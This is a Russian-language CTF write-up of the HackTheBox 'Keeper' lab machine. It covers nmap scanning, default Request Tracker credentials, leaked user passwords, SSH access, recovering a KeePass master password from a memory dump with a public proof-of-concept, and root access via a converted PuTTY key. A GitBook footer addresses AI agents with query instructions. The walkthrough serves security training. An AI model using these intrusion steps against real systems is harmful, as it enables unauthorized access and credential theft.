> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/linux-easy/keeper-hackthebox-writeup.md).

# Запись HackTheBox Keeper

{% embed url="<https://app.hackthebox.com/machines/Keeper>" %}

{% hint style="warning" %}
**Навыки:**

* Злоупотребление Request Tracker
* Утечка информации
* Получение пароля KeePass через дамп памяти (повышение привилегий)
  {% endhint %}

## Разведка

**Настройка рабочей среды:**

Настройте рабочую среду, создав три папки для хранения важного содержимого, эксплойтов и результатов разведки Nmap.

<figure><img src="/files/6b806240f714a45573beeec95b22d9d6f73ebc17" alt="" width="563"><figcaption></figcaption></figure>

**Проверка подключения VPN**/ Проверяем подключение VPN, чтобы обеспечить стабильную связь с целевой машиной.

<figure><img src="/files/5261425481eff356a6e9b25f41bee6fdb386d976" alt="" width="563"><figcaption></figcaption></figure>

**Поиск открытых портов с помощью Nmap: 22,80**

```bash
nmap -p- --open -n -Pn -vvv --min-rate 5000 10.10.11.227 -oG allPorts 
```

<figure><img src="/files/de77929fe488b9f7a9544f10858dcd7d2db124d5" alt=""><figcaption></figcaption></figure>

**Сканирование версии порта с Nmap:** Используя Nmap для сканирования версии порта и извлечения информации в файл "targeted":

```bash
nmap -sCV -p22,80 10.10.11.227 -oN targeted
```

<figure><img src="/files/92034afc644c2929558e28098fac0b1a6a326049" alt=""><figcaption></figcaption></figure>

### Порт 80

Мы обнаруживаем домен **keeper.htb** и поддомен **tickets.keeper.htb**.

<figure><img src="/files/e91dc956ce314165d9441b578314fbabf22437d3" alt=""><figcaption></figcaption></figure>

Мы добавляем их в `/etc/hosts` файл:

<figure><img src="/files/269758e9d162e2703f4c5eba92aef3d1977d2e55" alt=""><figcaption></figcaption></figure>

## CMS Request Tracker

Переходя по **tickets.keeper.htb** мы находим панель администратора.

<figure><img src="/files/fe396417e241852a469ed38ab9c964a18dd28a8a" alt=""><figcaption></figcaption></figure>

Мы проверяем учетные данные по умолчанию для **Request Tracker**:

```plaintext
Имя пользователя: root  
Пароль: password  
```

<figure><img src="/files/2716acbe25238e3909d7d61634e5c172d9a1e226" alt=""><figcaption></figcaption></figure>

Соединение успешно!

<figure><img src="/files/eca03a0f700675ab108bc73926eaa52fe076ed4e" alt=""><figcaption></figcaption></figure>

В **Админ → Пользователи** в разделе мы находим учетную запись пользователя:

* Пользователь: <Inorgaard@keeper.htb>
* Пароль: Welcome2023!

<figure><img src="/files/f6aed19b6f9b5d2d3b505d9b24ef31367c8b7fd1" alt=""><figcaption></figcaption></figure>

#### Подключение по SSH

Мы используем найденные учетные данные для подключения по SSH:

```bash
ssh Inorgaard@keeper.htb
```

<figure><img src="/files/6417b219f1422db452001f85281806a868004301" alt=""><figcaption></figcaption></figure>

### Флаг user.txt :)

<figure><img src="/files/c49b33fb3876ee7d6eccccb8fd6436fe02683e61" alt="" width="563"><figcaption></figcaption></figure>

## Повышение привилегий

### **Дамп базы данных KeePass**

Мы находим ZIP-файл `RT30000.zip` который мы скачиваем на нашу машину:

```bash
python3 -m http.server 8080
```

```bash
wget http://10.10.11.227:8080/RT30000.zip
```

<figure><img src="/files/1c001900b58ded2932b0a4ba59c9b4456d7c4bc5" alt=""><figcaption></figcaption></figure>

После извлечения мы получаем:

* **KeePassDumpFull.dmp**
* **passcodes.kdbx**

<figure><img src="/files/de058a01faa1e7d95334a034dbd07edd56ede7c9" alt=""><figcaption></figcaption></figure>

Мы пытаемся открыть `passcodes.kdbx` с помощью KeePassXC:

```bash
keepassxc passcodes.kdbx
```

Он запрашивает пароль. Мы пытаемся выполнить перебор с помощью **John The Ripper**, но безуспешно.

<figure><img src="/files/e8ef8ebaf83bfca939b4a4e0c82f8489a340d301" alt=""><figcaption></figcaption></figure>

### **KeePass — анализ дампа памяти**

{% embed url="<https://github.com/matro7sh/keepass-dump-masterkey>" %}

Мы эксплуатируем `.dmp` файл с Python-скриптом:

```bash
python3 poc.py KeePassDumpFull.dmp
```

Это показывает нечитаемые символы. Поиск в интернете приводит нас к вероятному паролю:

<figure><img src="/files/60c84648b855510ae71b32f6e9ee8d06dd13cf27" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/412254f81a2277fb3387de8ba8affbde9d4cd65e" alt="" width="563"><figcaption></figcaption></figure>

**Результат**: красная каша со сливками

<figure><img src="/files/a202c03e9d4abc6e388748184cb0e12a95c2e948" alt="" width="563"><figcaption></figcaption></figure>

Мы используем этот пароль, чтобы разблокировать KeePass, получая **зашифрованный ключ PuTTY и пароль root**.

<figure><img src="/files/a4d4f02a58150e20c0f92ee2f2b971112631f147" alt=""><figcaption></figcaption></figure>

### Преобразование ключа PuTTY в формат OpenSSH

Нам нужно преобразовать ключ PuTTY в формат OpenSSH:

```bash
puttygen key.ppk -O private-openssh -o id_rsa
```

Затем убедитесь, что у вашего закрытого ключа правильные разрешения:

```bash
chmod 600 id_rsa
```

#### **Подключение к SSH-серверу**

```bash
ssh -i id_rsa root@10.10.11.227
```

<figure><img src="/files/950a2681e8325d358e6151a19ece91fd02753146" alt=""><figcaption></figcaption></figure>

### Флаг root.txt :)

<figure><img src="/files/0991a40d5ab2796ecbe457b926c1276321a8080c" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/edc5e362b29bad9f45a89488c0848c7544ab9040" alt="" width="417"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/linux-easy/keeper-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
